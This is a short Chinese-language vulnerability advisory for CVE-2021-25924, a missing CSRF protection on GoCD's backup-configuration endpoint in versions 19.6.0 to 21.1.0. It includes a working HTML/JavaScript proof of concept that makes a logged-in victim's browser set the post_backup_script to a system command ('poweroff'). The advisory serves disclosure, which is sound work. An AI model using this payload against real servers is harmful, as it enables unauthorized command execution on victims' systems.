概述
Aravind SV gocd是Aravind SV开源的一个应用程序。
在 GOCD 中,由于在”/go/api/配置/备份”端点缺少 CSRF 保护,19.6.0 到 21.1.0 版本容易受到跨站点请求伪造的影响。攻击者可以诱使受害者点击恶意链接,该链接可能会更改备份配置或在post_backup_script字段中执行系统命令。
细节
模块”GoCD”可能因缺少”/go/api/配置/备份”端点的CSRF保护而被跨站点请求伪造滥用。由于此缺陷,攻击者可以诱使受害者更改备份配置设置,例如在post_backup_script字段中执行系统命令,并通过诱使用户点击攻击者控制的网站来更改备份计划。
PoC 细节
创建具有以下内容的文件。当经过验证的用户单击攻击者发送的恶意链接时,CSRF 请求将发送到合法服务器并更改备份配置。
PoC 代码
<html>
<script> function backup()
{ var xmlhttp = new XMLHttpRequest(); xmlhttp.withCredentials = true; xmlhttp.open("POST","http://localhost:8153/go/api/config/backup", true);
xmlhttp.setRequestHeader("Accept","application/vnd.go.cd.v1+json");
xmlhttp.send(JSON.stringify({"schedule":null,"post_backup_script":"poweroff","email_on_success":false,"email_on_failure":false})); }
backup();
</script>
</html>
影响版本
19.6.0-21.1.0
原文链接
https://www.whitesourcesoftware.com/vulnerability-database/CVE-2021-25924